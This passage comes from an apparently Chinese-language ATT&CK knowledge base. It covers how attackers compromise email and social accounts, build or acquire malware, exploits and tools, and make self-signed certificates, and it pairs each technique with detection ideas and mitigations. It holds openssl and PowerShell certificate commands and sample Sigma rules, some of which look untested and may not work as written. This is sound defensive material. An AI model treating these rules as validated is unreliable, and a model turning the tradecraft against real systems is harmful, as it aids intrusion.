推广使用强密码,并为所有社交媒体账户启用多因素认证(MFA)。 - 教育员工避免跨平台重复使用密码。 3. **凭据监控**: - 使用服务如 Have I Been Pwned 检查员工账户是否出现在泄露数据库中。 - 指导员工定期检查社交媒体账户设置,识别未经授权的更改。 4. **事件响应**: - 制定针对被盗社交媒体账户的事件响应计划,包括恢复账户控制和通知受影响的联系人。 - 与社交媒体平台合作,快速报告并暂停恶意账户。 ### 检测增强 - **主动监控**: - 定期检查公开的社交媒体活动,识别冒充组织或员工的账户。 - 使用自动化工具检测账户资料的异常更改,如新头像、简介或异常动态。 - **员工报告机制**: - 建立便捷的报告渠道,鼓励员工报告可疑消息或账户行为。 - 提高员工对熟人账户异常行为的警惕性。 - **关注攻击生命周期**: - 加强在相关攻击阶段的检测能力,如钓鱼(T1566)或初始访问(T1078),以发现被盗账户的利用行为。 ## 参考推荐 - MITRE ATT&CK: T1586-001 - 案例分析: 记一次艰难的溯源故事(对不起学长) ================================================ FILE: Windows/02资源开发/T1586.002-盗取账户-电子邮箱账户.md ================================================ # T1586-002-盗取账户-电子邮箱账户 ## 描述 攻击者在入侵目标之前,可能通过盗取电子邮箱账户来支持目标定位和攻击执行。被盗邮箱账户(如Gmail、Outlook或企业邮箱)因其与目标的信任关系,可用于鱼叉式钓鱼(T1566)、信息收集、邮件线程劫持或注册恶意基础设施(如域名T1583-001)。相比创建新账户(T1585-002),盗取账户更具隐蔽性和可信度。 攻击者盗取账户的常见方法包括: - **凭据窃取**:通过钓鱼、恶意软件或凭据填充获取凭据。 - **购买泄露凭据**:从暗网获取泄露的邮箱凭据。 - **暴力破解**:利用弱密码或重用凭据破解账户。 - **社会工程**:伪装身份欺骗邮件服务提供商,重置账户。 - **漏洞利用**:利用邮件服务漏洞(如OAuth误配置)窃取访问权限。 被盗账户可用于发送伪装邮件、插入恶意链接或窃取敏感信息,显著提升攻击成功率。 ## 测试案例 很好理解,这里不做任何案例说明。 ## 测试复现 暂无 ## 检测日志 邮箱账户盗取多发生在目标组织视野之外,检测需依赖间接日志: - **邮件服务器日志**:异常登录、邮件发送或转发规则修改。 - **身份验证日志**:未知IP或设备的登录尝试。 - **网络流量日志**:与邮件服务(如imap.gmail.com)或钓鱼站点的异常通信。 - **端点日志**:访问钓鱼链接或下载恶意附件的活动。 - **威胁情报日志**:已知的恶意邮箱或钓鱼活动关联。 ## 测试留痕 邮箱账户盗取可能产生以下痕迹: - **邮件服务器**:异常登录、邮件发送或规则变更记录。 - **网络流量**:与钓鱼网站或邮件服务的可疑通信。 - **端点**:访问钓鱼链接或恶意附件的记录。 - **DNS查询**:解析到钓鱼站点的域名。 - **身份验证**:未知来源的登录尝试。 ## 检测规则/思路 主要通过对被盗邮箱账户的异常登录、邮件发送或者规则变更记录等角度进行分析,比如某邮箱账户短时间内多地登录、某邮箱账号非工作时间内异地登录、某邮箱账号频繁发送同一主题邮件、某邮箱账号邮件发送限制变更等;可结合上下文行为进行分析,又比如某邮箱账户首先异地登录,其次又频繁发送同一主题邮件,可以认为其是一个异常模型。 ## 建议 - **减少暴露**: - 培训员工识别钓鱼邮件,避免凭据泄露。 - 限制个人邮箱用于工作相关通信。 - **安全加固**: - 启用MFA保护邮箱账户。 - 配置DMARC、SPF、DKIM,验证发件人身份。 - 定期更新邮件服务,修补漏洞。 - **主动监控**: - 部署SIEM分析异常邮件或登录活动。 - 使用威胁狩猎,主动搜索账户盗取迹象。 - **后续检测**: - 监控攻击后续阶段(如钓鱼T1566、命令与控制T1102),通过异常行为发现账户滥用。 ## 参考推荐 - MITRE ATT&CK: T1586-002 ================================================ FILE: Windows/02资源开发/T1587.001-开发能力-恶意软件.md ================================================ # T1587-001-开发能力-恶意软件 ## 描述 在入侵目标组织之前,攻击者可能开发恶意软件及其组件,以支持目标定位和攻击执行。恶意软件包括但不限于有效载荷(Payload)、释放程序(Dropper)、后渗透工具、后门(Backdoor)、加壳程序(Packer)、命令与控制(C2)协议以及受感染的可移动存储设备。这些恶意软件旨在实现持久化控制、防御逃逸(如绕过杀毒软件)、数据窃取、破坏系统或执行其他后渗透操作(如提权T1055、横向移动T1021)。 攻击者开发恶意软件可能涉及: - **内部开发**:利用自身编程技能,开发定制化恶意软件。 - **外包开发**:通过暗网或其他渠道雇佣第三方开发者,定制恶意软件或组件。 - **开源工具修改**:基于现有恶意软件源码(如Mirai、Cobalt Strike)进行二次开发。 - **C2协议定制**:开发与合法服务(如Twitter、Google Drive)通信的C2协议,以掩盖恶意流量。 - **混淆与加壳**:使用加壳工具(如UPX、Themida)或代码混淆技术,规避检测。 恶意软件开发可能需要额外基础设施支持,如C2服务器(T1583-004)、测试环境或Web服务(T1583-006)。攻击者通过定制化开发,确保恶意软件适配目标环境,提高攻击成功率和隐蔽性。 ## 测试案例 攻击者的恶意软件开发在企业组织视野之外,暂无案例。 ## 检测日志 恶意软件开发通常发生在目标组织监测范围之外,难以直接监测。以下是可能的间接日志来源: - **网络流量日志**: - 检测与已知C2服务器的异常通信(如高频HTTP、DNS请求)。 - **端点日志**: - 记录可疑进程、文件创建或网络连接,可能与测试或分发的恶意软件相关。 - **邮件服务器日志**: - 检测分发恶意软件的钓鱼邮件。 - **DNS日志**: - 记录解析到C2服务器或恶意域名的异常查询。 - **威胁情报日志**: - 关联已知的恶意软件样本、C2地址或开发工具。 ## 测试复现 暂无 ## 测试留痕 暂无 ## 检测规则/思路 由于恶意软件开发多发生在目标组织视野之外,检测需聚焦后续阶段: - **网络流量监控**: - 检测与C2服务器的异常通信。 - 利用snort规则进行监测。 - **端点监控**: - 使用EDR检测可疑进程或文件。 - **DNS监控**: - 检测解析到C2或恶意域名的查询。 - **威胁情报**: - 关联已知恶意软件样本、C2地址或开发工具。 - **SIEM关联**: - 使用SIEM(如Splunk、ELK)整合网络、端点和邮件日志,识别恶意软件活动。 ## 建议 - **减少暴露**: - 限制员工下载未知软件或访问可疑网站。 - 定期修补系统和应用程序漏洞,防止恶意软件利用。 - **安全加固**: - 部署杀毒软件和EDR,检测恶意软件执行。 - 配置防火墙,限制与已知C2服务器的通信。 - 使用应用白名单,阻止未授权程序运行。 - **主动监控**: - 使用SIEM分析异常网络或端点活动。 - 进行威胁狩猎,主动搜索恶意软件痕迹。 - **后续检测**: - 监控攻击后续阶段(如命令与控制T1102、提权T1055、数据泄露T1567),通过异常行为发现恶意软件活动。 ## 参考推荐 - MITRE ATT&CK: T1587-001 ================================================ FILE: Windows/02资源开发/T1587.002-开发能力-代码签名证书.md ================================================ # T1587-002-开发能力-代码签名证书 ## 描述 在入侵目标之前,攻击者可能会开发自签名的代码签名证书,用于目标定位期间。代码签名是对可执行文件和脚本进行数字签名的过程,以确认软件作者并确保代码未被更改或破坏。代码签名可为开发者的程序提供一定的真实性,并保证程序未被篡改。相比未签名的代码,即使用户或安全工具不知道颁发证书的人或代码的作者是谁,签名的代码也可能更容易获得信任。 攻击者可能通过开发自签名的代码签名证书来伪装合法软件,从而绕过安全检测或提升恶意代码的可信度。自签名证书通常由攻击者自行生成,不依赖受信任的证书颁发机构(CA),因此成本低廉且易于实现。尽管自签名证书可能触发安全警告,但在某些情况下,攻击者可通过社会工程学或其他技术诱导用户忽略这些警告。 ## 测试案例 暂无,仅提供辅助理解案例: 1. **恶意软件团伙盗取大量证书绕过代码签名检查** 攻击者通过窃取合法的代码签名证书,伪装恶意软件以绕过安全软件的检测机制。例如,某些恶意软件使用从合法软件公司泄露的证书进行签名,使其看似可信。 参考链接: 2. **恶意病毒伪造微软等签名绕过安全软件检测后疯狂挖矿** 攻击者伪造知名公司的代码签名证书(如伪装成微软的签名),使恶意挖矿程序被误认为是合法软件,从而规避安全检测并在受害者系统上执行加密货币挖矿。 参考链接: ## 检测日志 **无法有效监测** 由于自签名证书的创建通常发生在攻击者的环境中,且不直接与目标系统交互,因此难以通过日志直接检测此类活动。检测可能需要依赖后续行为(如签名代码的执行或异常证书的使用)。以下是可能相关的日志来源: - **系统日志**:Windows事件日志(如事件ID 4657)可能记录证书安装或信任更改事件。 - **安全软件日志**:防病毒或EDR工具可能记录可疑签名或不受信任证书的执行尝试。 - **网络日志**:与证书相关的网络请求(如CRL或OCSP检查)可能提供间接线索。 ## 测试复现 以下是一个概念性复现思路,仅供参考: 1. **生成自签名证书**: - 使用工具(如OpenSSL或Windows的`makecert`)生成自签名证书。 - 示例命令(OpenSSL): ```bash openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes ``` - 将生成的证书用于签署简单的测试程序(如PowerShell脚本或可执行文件)。 2. **测试签名程序**: - 在目标系统上运行签名后的程序,观察安全软件(如Windows Defender)的反应。 - 模拟用户忽略证书不受信任警告的行为,验证是否能绕过某些安全检查。 **注意**:此复现仅用于学习和测试目的,切勿用于非法活动。 ## 测试留痕 无明显留痕。 自签名证书的开发活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段,包括: - **证书安装**:如果攻击者将自签名证书安装到目标系统的信任存储中,可能在证书管理器或系统日志中留下记录。 - **恶意软件执行**:签名后的恶意代码可能触发防病毒软件的警告或异常行为日志。 - **网络活动**:与证书验证相关的网络请求(如CRL检查)可能被记录在网络流量日志中。 ## 检测规则/思路 **检测规则** 无明确的检测规则。由于此类活动主要发生在攻击者的环境中,传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路: 1. **监控异常证书行为** - 检查系统中安装的代码签名证书,识别来源不明或自签名的证书。 - 使用工具(如Windows CertMgr或OpenSSL)分析证书链,检测非受信任根证书颁发的签名。 - 示例PowerShell脚本用于检查证书: ```powershell Get-ChildItem -Path Cert:\LocalMachine\Root | Where-Object { $_.Issuer -eq $_.Subject } ``` 2. **行为分析** - 监控可执行文件的签名状态,重点关注签名无效或使用自签名证书的文件。 - 使用EDR(端点检测与响应)工具检测异常进程或文件的执行行为,尤其是与签名不匹配的情况。 - 示例Sigma规则(检测自签名证书的进程): ```yaml title: Detect Self-Signed Certificate Execution logsource: category: process_creation product: windows detection: selection: Image|endswith: '.exe' SignatureStatus: 'Invalid' condition: selection fields: - Image - SignatureStatus ``` 3. **网络流量分析** - 检测与已知恶意或可疑证书相关的网络通信(如证书吊销列表CRL请求)。 - 监控异常的HTTPS流量,检查是否涉及自签名证书的TLS连接。 - 示例:使用Wireshark过滤与证书验证相关的流量: ```plaintext http.request.method == GET && http.request.uri contains "crl" ``` 4. **SIEM集成** - 将证书相关的事件(如证书安装、签名验证失败)集成到SIEM系统中,设置告警规则以发现异常模式。 ## 建议 ### 缓解措施 由于代码签名证书的开发发生在企业防御和控制范围之外,难以通过预防性措施直接缓解。以下是一些建议: 1. **增强代码签名验证** - 确保系统只信任来自受信证书颁发机构(CA)的签名代码,限制自签名证书的执行。 - 在操作系统或安全软件中配置策略,阻止未签名或签名无效的可执行文件运行。 - 示例Windows组策略设置: - 路径:`计算机配置->管理模板->系统->驱动程序安装` - 启用“代码签名用于设备驱动程序”并选择“阻止”。 2. **用户教育** - 培训用户识别可疑软件,避免运行未知来源或提示证书不受信任的程序。 - 教授用户如何检查软件的数字签名(如右键单击文件->属性->数字签名)。 3. **应用程序白名单** - 部署应用程序白名单策略,仅允许经过验证的合法应用程序运行,减少恶意签名的影响。 - 示例工具:Windows AppLocker或第三方解决方案(如Carbon Black)。 4. **证书管理** - 定期审计系统中的证书,移除或限制不受信任的根证书或中间证书。 - 使用证书透明度(CT)日志监控可疑证书的颁发。 - 示例命令(检查Windows证书存储): ```powershell certutil -store root ``` 5. **系统加固** - 禁用用户安装不受信任证书的能力,限制对证书存储的修改权限。 - 配置防火墙规则,限制与未知证书相关的网络通信。 ### 检测 由于此类活动通常在目标组织的可见性之外,检测工作应集中在相关后续行为上,包括但不限于: - **异常签名检测**:监控系统中运行的可执行文件,检查签名证书的合法性(如是否来自未知或自签名证书)。 - **根证书安装监控**:检测系统中是否安装了非预期或不受信任的根证书,可能是攻击者为后续活动铺垫的迹象。 - 示例Windows事件ID:4657(注册表更改,可能涉及证书存储)。 - **行为监控**:通过EDR或SIEM系统,关注异常的文件执行、进程行为或网络活动,尤其是与自签名证书相关的行为。 - **威胁情报整合**:使用威胁情报平台(如VirusTotal或Recorded Future)检查已知恶意证书的指纹或哈希值。 ## 参考推荐 - MITRE ATT&CK: T1587-002 - 恶意软件团伙盗取大量证书用来绕过代码签名检查 - 恶意病毒伪造微软等签名绕过安全软件检测后疯狂挖矿 ================================================ FILE: Windows/02资源开发/T1587.003-开发能力-数字证书.md ================================================ # T1587-003-开发能力-数字证书 ## 描述 在入侵目标组织之前,攻击者可能会开发自签名的SSL/TLS证书,用于目标定位期间。SSL/TLS证书旨在确保通信安全与信任,包含密钥信息、所有者身份信息以及由可信实体验证的数字签名。如果签名有效且检查证书的人员信任签名者,则可确认使用该密钥与其所有者进行安全通信。然而,自签名证书由于缺乏第三方证书颁发机构(CA)的签名,缺少可信度。 攻击者可能创建自签名的SSL/TLS证书,用于多种恶意目的,例如加密命令与控制(C2)流量(如通过Web协议)、伪装合法服务,甚至在证书被添加到目标系统的信任根存储(即安装根证书)后实施中间人(MITM)攻击。这些证书可帮助攻击者掩盖恶意活动或绕过安全检测。 ## 测试案例 以下为辅助理解的案例: 1. **CS通过(CDN+证书)PowerShell上线** 攻击者利用自签名SSL/TLS证书结合内容分发网络(CDN),通过PowerShell脚本建立隐蔽的C2通道,绕过网络检测。 参考链接: 2. **伪装合法服务** 攻击者可能使用自签名证书为恶意Web服务器或钓鱼网站提供HTTPS支持,诱导用户信任并输入敏感信息。 ## 检测日志 **无法有效监测** 自签名SSL/TLS证书的开发通常发生在攻击者的环境中,与目标系统无直接交互,因此难以通过日志直接检测。可能相关的日志来源包括: - **系统日志**:Windows事件日志(如事件ID 4657)可能记录证书安装或信任更改事件。 - **网络日志**:与证书验证相关的网络请求(如OCSP或CRL检查)可能提供间接线索。 - **安全软件日志**:EDR或防病毒工具可能记录与不受信任证书相关的异常网络连接或进程行为。 ## 测试复现 无具体复现方法。 以下是一个概念性复现思路,仅供参考: 1. **生成自签名SSL/TLS证书**: - 使用工具(如OpenSSL)生成自签名证书。 - 示例命令: ```bash openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/C=US/ST=State/L=City/O=Organization/OU=Unit/CN=example.com" ``` - 将生成的证书用于配置简单的HTTPS服务器(如使用Python的`http.server`模块)。 2. **测试恶意场景**: - 配置一个伪装的Web服务器,使用自签名证书提供HTTPS服务。 - 模拟通过PowerShell脚本连接该服务器,测试C2通信的隐蔽性。 - 观察目标系统(如Windows)对不受信任证书的反应,模拟用户忽略警告的行为。 **注意**:此复现仅用于学习和测试目的,切勿用于非法活动。 ## 测试留痕 无明显留痕。 自签名SSL/TLS证书的开发活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段,包括: - **证书安装**:如果攻击者将自签名证书安装到目标系统的信任根存储中,可能在证书管理器或系统日志中留下记录。 - **网络活动**:与自签名证书相关的HTTPS流量可能触发安全警告或被记录在网络日志中(如TLS握手失败)。 - **恶意行为**:使用自签名证书的恶意服务或C2通信可能在EDR或防病毒日志中留下异常行为记录。 ## 检测规则/思路 **检测规则** 无明确的检测规则。由于此类活动主要发生在攻击者的环境中,传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路: 1. **监控异常证书行为** - 检查系统中安装的SSL/TLS证书,识别来源不明或自签名的证书。 - 使用工具(如Windows CertMgr或OpenSSL)分析证书链,检测非受信任根证书。 - 示例PowerShell脚本用于检查根证书存储: ```powershell Get-ChildItem -Path Cert:\LocalMachine\Root | Where-Object { $_.Issuer -eq $_.Subject } ``` 2. **网络流量分析** - 监控HTTPS流量,检测使用自签名证书的异常TLS连接。 - 检查与证书验证相关的网络请求(如CRL或OCSP请求),识别可疑证书指纹。 - 示例Wireshark过滤器: ```plaintext ssl.handshake.certificate && ssl.handshake.type == 11 ``` 3. **行为分析** - 使用EDR工具检测与自签名证书相关的异常进程或网络行为,如PowerShell脚本发起的HTTPS请求。 - 示例Sigma规则(检测自签名证书的网络连接): ```yaml title: Detect Self-Signed Certificate in TLS Traffic logsource: category: network product: windows detection: selection: DestinationPort: 443 CertificateIssuer: CertificateSubject condition: selection fields: - DestinationPort - CertificateIssuer - CertificateSubject ``` 4. **威胁情报整合** - 使用威胁情报平台(如VirusTotal或ThreatConnect)检查已知恶意证书的指纹或域名,关联潜在的攻击者基础设施。 ## 建议 ### 缓解措施 由于自签名SSL/TLS证书的开发发生在企业防御和控制范围之外,难以通过预防性措施直接缓解。以下是一些建议: 1. **增强证书验证** - 配置系统仅信任来自受信证书颁发机构(CA)的SSL/TLS证书,限制自签名证书的使用。 - 在浏览器或操作系统中启用严格的证书检查,阻止不受信任证书的连接。 - 示例:配置Windows组策略: - 路径:`计算机配置->管理模板->系统->Internet通信管理->Internet通信设置` - 启用“关闭自动根证书更新”以防止意外信任。 2. **用户教育** - 培训用户识别可疑HTTPS网站,尤其是提示证书不受信任的页面。 - 教授用户如何检查证书详情(如右键单击浏览器锁图标->查看证书)。 3. **网络安全控制** - 部署TLS解密设备(如下一代防火墙)以检查加密流量,识别自签名证书的使用。 - 配置入侵检测系统(IDS)以检测异常TLS握手或证书错误。 4. **证书管理** - 定期审计系统中的根证书和中间证书,移除或限制不受信任的证书。 - 使用证书透明度(CT)日志监控可疑证书的颁发。 - 示例命令(检查Windows证书存储): ```powershell certutil -store root ``` 5. **应用程序白名单** - 限制系统运行仅信任来源的应用程序,减少恶意代码利用自签名证书的机会。 - 示例工具:Windows AppLocker或第三方解决方案(如CrowdStrike)。 ### 检测 由于此类活动通常在目标组织的可见性之外,检测工作应集中在相关后续行为上,包括但不限于: - **异常证书检测**:监控系统中运行的HTTPS连接,检查证书是否为自签名或来自不受信任的CA。 - **根证书安装监控**:检测系统中是否安装了非预期或不受信任的根证书,可能为攻击者铺垫中间人攻击的迹象。 - 示例Windows事件ID:4657(注册表更改,可能涉及证书存储)。 - **网络行为监控**:通过EDR或SIEM系统,关注异常的HTTPS流量、PowerShell脚本执行或与可疑域名相关的通信。 - **证书信息追踪**:利用证书透明度(CT)日志或其他服务,跟踪Internet上使用的证书,识别与攻击者基础设施相关的证书。 ## 参考推荐 - MITRE ATT&CK: T1587-003 - CS通过(CDN+证书)PowerShell上线详细版 ================================================ FILE: Windows/02资源开发/T1587.004-开发能力-漏洞利用.md ================================================ # T1587-004-开发能力-漏洞利用 ## 描述 在入侵目标组织之前,攻击者可能会开发可在目标定位期间使用的漏洞利用程序。漏洞利用程序利用软硬件的脆弱性来引发计算机硬件或软件上发生意外或未预期的行为。攻击者可能会开发自己的漏洞,而不是在网上查找或修改漏洞,亦或从漏洞供应商那里购买漏洞。攻击者可能会使用通过漏洞获取的信息来卸载漏洞利用程序的开发。作为漏洞利用程序开发过程的一部分,攻击者可能会通过模糊测试和补丁分析等方法来挖掘可利用的漏洞。 与合法的开发工作一样,漏洞利用程序可能需要不同的技能。所需的技能可能位于内部,也可能需要外包。外包的使用可以被认为是该攻击者漏洞利用程序开发能力的扩展,只要攻击者在确定需求方面发挥作用并保持对漏洞利用程序一定的独占性即可。 攻击者可能会在生命周期的各个阶段使用漏洞(即面向公众应用的漏洞利用、客户端执行利用、利用漏洞提权、利用漏洞防御逃逸、利用漏洞获取凭据、利用远程服务漏洞,以及利用应用程序或系统漏洞发动拒绝服务攻击)。 ## 测试案例 暂无,仅提供辅助理解案例: 1. **开发针对特定软件的漏洞利用** 攻击者可能针对流行软件(如浏览器、操作系统或服务器软件)的已知或零日漏洞开发定制化漏洞利用程序。例如,针对旧版Microsoft Windows的SMB协议漏洞(如EternalBlue)开发利用程序。 2. **模糊测试发现新漏洞** 攻击者可能通过模糊测试(Fuzzing)技术向目标软件输入大量异常数据,触发未预期的行为并发现可利用的漏洞,随后开发相应的利用代码。 ## 检测日志 **无法有效监测** 漏洞利用程序的开发通常发生在攻击者的环境中,与目标系统无直接交互,因此难以通过日志直接检测。 可能相关的日志来源包括: - **系统日志**:如果漏洞利用程序在目标系统上执行,可能在Windows事件日志(如事件ID 4688、4689)中记录异常进程或行为。 - **安全软件日志**:EDR或防病毒工具可能记录漏洞利用尝试触发的异常行为(如缓冲区溢出或内存异常)。 - **网络日志**:与漏洞利用相关的网络流量(如异常的HTTP请求或协议异常)可能提供间接线索。 ## 测试复现 无具体复现方法。 ## 测试留痕 漏洞利用程序的开发活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段,包括: - **漏洞利用执行**:如果漏洞利用程序在目标系统上运行,可能触发异常进程、文件操作或系统崩溃,记录在系统日志或EDR中。 - **网络活动**:漏洞利用可能生成异常网络流量(如畸形数据包或异常协议行为),记录在IDS/IPS或网络日志中。 - **内存异常**:漏洞利用可能导致内存访问异常,触发安全软件的告警。 ## 检测规则/思路 **检测规则** 无明确的检测规则。 由于漏洞利用程序的开发主要发生在攻击者的环境中,传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路: 1. **监控异常行为** - 使用EDR工具检测异常进程行为,如缓冲区溢出、堆喷射(Heap Spraying)或代码注入。 2. **网络流量分析** - 监控异常的网络流量模式,如畸形HTTP请求、异常协议行为或高频连接尝试。 3. **补丁管理监控** - 定期检查系统补丁状态,识别未修补的已知漏洞(CVE),推断可能的攻击目标。 4. **威胁情报整合** - 使用威胁情报平台(如VirusTotal或AlienVault)检查已知漏洞利用的特征(如恶意IP、域名或Payload哈希)。 - 关联已知的CVE编号与系统日志,识别潜在的漏洞利用尝试。 ## 建议 ### 缓解措施 由于漏洞利用程序的开发发生在企业防御和控制范围之外,难以通过预防性措施直接缓解。以下是一些建议: 1. **及时补丁管理** - 定期更新操作系统、应用程序和固件,修补已知漏洞,减少可被利用的攻击面。 - 使用补丁管理工具(如WSUS或SCCM)确保补丁及时部署。 2. **最小权限原则** - 限制用户和应用程序的权限,减少漏洞利用导致的特权提升或横向移动风险。 - 示例:启用Windows的UAC(用户账户控制)并限制管理员账户使用。 3. **安全配置** - 启用系统防护机制,如地址空间布局随机化(ASLR)、数据执行保护(DEP)和控制流保护(CFG)。 - 配置防火墙规则,限制异常网络流量。 4. **应用程序白名单** - 部署应用程序白名单策略,仅允许受信任的应用程序运行,减少恶意代码执行的机会。 5. **用户教育** - 培训用户识别可疑文件或链接,避免触发客户端漏洞利用(如恶意PDF或Office文档)。 - 教授用户检查软件来源和数字签名。 ### 检测 由于此类活动通常在目标组织的可见性之外,检测工作应集中在相关后续行为上,包括但不限于: - **异常行为检测**:监控系统中的异常进程、内存访问或文件操作,识别潜在的漏洞利用行为。 - **网络行为监控**:通过IDS/IPS或SIEM系统,关注异常的网络流量模式,如畸形数据包或高频连接。 - **日志分析**:分析系统日志(如Windows事件ID 4688、5156)或安全软件日志,识别与漏洞利用相关的行为(如提权或防御逃逸)。 - **威胁情报整合**:利用威胁情报平台,关联已知漏洞利用的IOC(Indicators of Compromise),如恶意IP、域名或Payload特征。 ## 参考推荐 - MITRE ATT&CK: T1587-004 ================================================ FILE: Windows/02资源开发/T1588.001-获取能力-恶意软件.md ================================================ # T1588-001-获取能力-恶意软件 ## 描述 在入侵目标组织之前,攻击者可能会购买、窃取或下载可在目标定位期间使用的恶意软件和恶意软件组件。恶意软件可能包括有效载荷、释放程序、后渗透工具、后门、加壳程序、C2协议以及创建受感染的可移动存储设备。攻击者可能会获取恶意软件来支持其操作,创建一种手段来维持对远程计算机的控制、防御逃逸及执行后渗透动作。 攻击者除了可以从互联网上下载免费的恶意软件外,还可以从第三方实体购买这些功能。第三方实体可以包括专门从事恶意软件开发的技术公司、网络犯罪市场(包括恶意软件即服务或MaaS)或个人。除了购买恶意软件外,攻击者还可以从第三方实体(包括其他攻击者)窃取恶意软件并用于其它目的。获取的恶意软件可能被定制化以适应特定目标或攻击场景,从而提高攻击的隐蔽性和成功率。 ## 测试案例 暂无,仅提供辅助理解案例: 1. **购买恶意软件即服务(MaaS)** 攻击者通过暗网市场购买现成的恶意软件(如Emotet或TrickBot),用于分发勒索软件或窃取凭据。这些服务通常提供用户友好的界面,便于非技术人员使用。 2. **窃取开源恶意软件** 攻击者从GitHub或其他公开平台下载开源恶意软件代码(如Remote Access Trojans或RATs),对其进行修改后用于针对性攻击。例如,修改开源RAT以添加自定义C2通信协议。 ## 检测日志 **无法有效监测** 恶意软件的获取通常发生在攻击者的环境中,与目标系统无直接交互,因此难以通过日志直接检测。可能相关的日志来源包括: - **系统日志**:如果恶意软件在目标系统上执行,可能在Windows事件日志(如事件ID 4688、4689)中记录异常进程或行为。 - **安全软件日志**:EDR或防病毒工具可能记录已知恶意软件的签名或异常行为。 - **网络日志**:与C2通信相关的网络流量(如异常的HTTP或DNS请求)可能提供间接线索。 ## 测试复现 无具体复现方法。 ## 测试留痕 无明显留痕。 恶意软件的获取活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段,包括: - **恶意软件执行**:恶意软件运行可能触发异常进程、文件操作或注册表更改,记录在系统日志或EDR中。 - **网络活动**:与C2服务器的通信可能生成异常网络流量(如DNS请求或加密通信),记录在IDS/IPS或网络日志中。 - **文件系统痕迹**:恶意软件可能在系统中创建临时文件或配置文件,记录在文件系统日志中。 ## 检测规则/思路 **检测规则** 无明确的检测规则。由于恶意软件的获取主要发生在攻击者的环境中,传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路: 1. **监控异常进程行为** - 使用EDR工具检测异常进程启动或行为,如未知可执行文件的运行或异常的系统调用。 2. **网络流量分析** - 监控异常的网络通信,如与已知恶意C2服务器的连接或异常的DNS请求。 3. **文件系统监控** - 检测系统中出现的未知或可疑文件(如带有随机名称的.exe文件)。 4. **威胁情报整合** - 使用威胁情报平台(如VirusTotal、AlienVault)检查已知恶意软件的哈希、IP地址或域名,关联潜在的攻击活动。 ## 建议 ### 缓解措施 由于恶意软件的获取发生在企业防御和控制范围之外,难以通过预防性措施直接缓解。以下是一些建议: 1. **增强端点防护** - 部署并更新防病毒软件和EDR工具,检测已知恶意软件的签名和行为。 2. **应用程序白名单** - 部署应用程序白名单策略,仅允许受信任的应用程序运行,减少恶意软件执行的机会。 3. **网络安全控制** - 配置防火墙和IDS/IPS,阻止与已知恶意C2服务器的通信。 - 部署DNS过滤,阻止对可疑域名的访问。 4. **用户教育** - 培训用户识别可疑文件、电子邮件附件或链接,避免触发恶意软件。 - 教授用户检查文件来源和数字签名。 5. **系统加固** - 禁用不必要的服务和端口,减少恶意软件利用的攻击面。 - 启用系统防护机制,如地址空间布局随机化(ASLR)和数据执行保护(DEP)。 ### 检测 由于此类活动通常在目标组织的可见性之外,检测工作应集中在攻击生命周期中的后续行为上,包括但不限于: - **异常行为检测**:监控系统中的异常进程、文件操作或注册表更改,识别潜在的恶意软件执行。 - **网络行为监控**:通过IDS/IPS或SIEM系统,关注异常的网络流量模式,如与可疑IP或域名的通信。 - **日志分析**:分析系统日志(如Windows事件ID 4688、5156)或安全软件日志,识别与恶意软件相关的行为(如后门或C2通信)。 - **威胁情报整合**:利用威胁情报平台,关联已知恶意软件的IOC(Indicators of Compromise),如文件哈希、IP地址或域名。 ## 参考推荐 - MITRE ATT&CK: T1588-001 ================================================ FILE: Windows/02资源开发/T1588.002-获取能力-工具.md ================================================ # T1588-002-获取能力-工具 ## 描述 在入侵目标组织之前,攻击者可能会购买、窃取或下载可在目标定位期间使用的软件工具。工具可以是开源的,也可以是封闭的,免费的或商业的。攻击者可能将原本非恶意的工具(如PsExec)用于恶意目的。工具的获取可能涉及购买商业软件许可证,包括用于红队工具(如Cobalt Strike)的许可证。商业软件可以通过合法购买、窃取许可证(或软件的许可副本)或破解试用版获得。 攻击者获取工具以支持其操作,包括支持后渗透行为,如横向移动、数据收集或持久化。除了从互联网免费下载或购买软件外,攻击者还可以从第三方实体(包括其他攻击者)窃取软件或软件许可。这些工具可能被进一步定制,以适应特定攻击场景或提高隐蔽性。 ## 测试案例 暂无,仅提供辅助理解案例: 1. **使用合法工具进行恶意操作** 攻击者可能获取合法的系统管理工具(如PsExec或PowerShell)并用于恶意目的,例如在目标网络中执行横向移动或远程命令执行。 2. **购买或窃取红队工具** 攻击者通过暗网市场购买Cobalt Strike的破解许可证,或窃取合法红队测试团队的许可副本,用于构建C2基础设施或执行后渗透攻击。 ## 检测日志 **无法有效监测** 工具的获取通常发生在攻击者的环境中,与目标系统无直接交互,因此难以通过日志直接检测。可能相关的日志来源包括: - **系统日志**:如果攻击者使用获取的工具在目标系统上执行操作,可能在Windows事件日志(如事件ID 4688、4689)中记录异常进程或命令执行。 - **安全软件日志**:EDR或防病毒工具可能记录合法工具的异常使用行为,如PsExec在非预期环境中的运行。 - **网络日志**:与工具相关的网络通信(如Cobalt Strike的C2流量)可能生成异常流量模式,记录在IDS/IPS或网络日志中。 ## 测试复现 无具体复现方法。 ## 测试留痕 无明显留痕。 工具的获取活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段,包括: - **工具执行**:工具运行可能触发异常进程、命令行参数或文件操作,记录在系统日志或EDR中。 - **网络活动**:工具(如Cobalt Strike)与C2服务器的通信可能生成异常网络流量,记录在IDS/IPS或网络日志中。 - **文件系统痕迹**:工具可能在系统中创建临时文件或配置文件,记录在文件系统日志中。 ## 检测规则/思路 **检测规则** 无明确的检测规则。由于工具的获取主要发生在攻击者的环境中,传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路: 1. **监控异常工具使用** - 使用EDR工具检测合法工具的异常使用,如PsExec在非管理场景中的运行或Mimikatz的内存操作。 2. **网络流量分析** - 监控与已知C2工具(如Cobalt Strike)相关的网络通信,检测异常的HTTP、DNS或加密流量。 3. **文件系统监控** - 检测系统中出现的未知或可疑工具文件(如带有随机名称的.exe文件)。 4. **威胁情报整合** - 